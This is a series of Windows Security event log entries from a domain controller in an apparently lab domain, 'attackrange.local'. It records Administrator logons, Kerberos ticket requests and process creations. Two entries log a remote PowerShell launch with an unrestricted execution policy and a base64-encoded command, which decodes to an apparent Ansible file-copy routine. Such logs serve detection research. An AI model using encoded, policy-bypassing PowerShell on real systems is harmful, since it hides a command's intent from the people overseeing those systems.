	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250879
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250878
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250877
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250876
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x135c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1290
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADcALgA3ADkAMwA1ADUAMQAyAC0AOAAwADQAMQAwADMAMwA0ADYAOAA5ADkANQA1AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250875
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1290
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1180
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADcALgA3ADkAMwA1ADUAMQAyAC0AOAAwADQAMQAwADMAMwA0ADYAOAA5ADkANQA1AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250874
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11EF0A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250873
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11EF0A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250872
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250871
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250870
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250869
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11EEEE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250868
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11EEEE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250867
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11EEEE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250866
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250865
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250864
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250863
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E8F1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250862
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11DFCA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250861
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11CC72

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250860
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1324
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcc4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESD260.tmp" "c:\Users\Administrator\AppData\Local\Temp\ws2inzbj\CSCB414D9ED42A042E2A51BCFA9922684DE.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250977
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12306F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250976
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250975
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
